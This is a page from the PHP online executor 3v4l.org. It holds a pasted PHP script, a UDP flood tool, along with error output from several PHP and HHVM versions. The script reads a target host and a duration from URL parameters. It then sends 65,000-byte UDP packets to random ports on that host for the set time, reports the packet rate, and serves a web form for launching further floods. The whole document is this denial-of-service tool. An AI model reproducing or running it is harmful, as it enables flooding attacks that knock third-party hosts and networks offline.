3v4l.org

run code in 200+ php & hhvm versions
Bugs & Features
<?php //UDP if(isset($_GET['host'])&&isset($_GET['time'])){     $packets = 0;     ignore_user_abort(TRUE);     set_time_limit(0);       $exec_time = $_GET['time'];       $time = time();     //print "Started: ".time('d-m-y h:i:s')."<br>";     $max_time = $time+$exec_time;       $host = $_GET['host'];       for($i=0;$i<65000;$i++){     $out .= 'X';     }     while(1){     $packets++;     if(time() > $max_time){   break;     }     $rand = rand(1,65000);     $fp = fsockopen('udp://'.$host, $rand, $errno, $errstr, 5);     if($fp){   fwrite($fp, $out);   fclose($fp);     }     }     echo "<br><b>UDP Flood</b><br>Completed with $packets (" . round(($packets*65)/1024, 2) . " MB) packets averaging ". round($packets/$exec_time, 2) . " packets per second \n";     echo '<br><br>   <form action="'.$surl.'" method=GET>   <input type="hidden" name="act" value="phptools">   Host: <br><input type=text name=host><br>   Length (seconds): <br><input type=text name=time><br>   <input type=submit value=Go></form>'; }else{ echo '<br><b>UDP Flood</b><br>     <form action=? method=GET>     <input type="hidden" name="act" value="phptools">     Host: <br><input type=text name=host value=><br>     Length (seconds): <br><input type=text name=time value=><br><br>     <input type=submit value=Go></form>'; } ?>
Output for 5.6.0 - 5.6.30, 7.0.0 - 7.1.7
Parse error: syntax error, unexpected ' ' (T_STRING) in /in/g5dju on line 4
Process exited with code 255.
Output for hhvm-3.15.4
Fatal error: Uncaught Error: syntax error, unexpected T_STRING in /in/g5dju:4 Stack trace: #0 {main}
Process exited with code 255.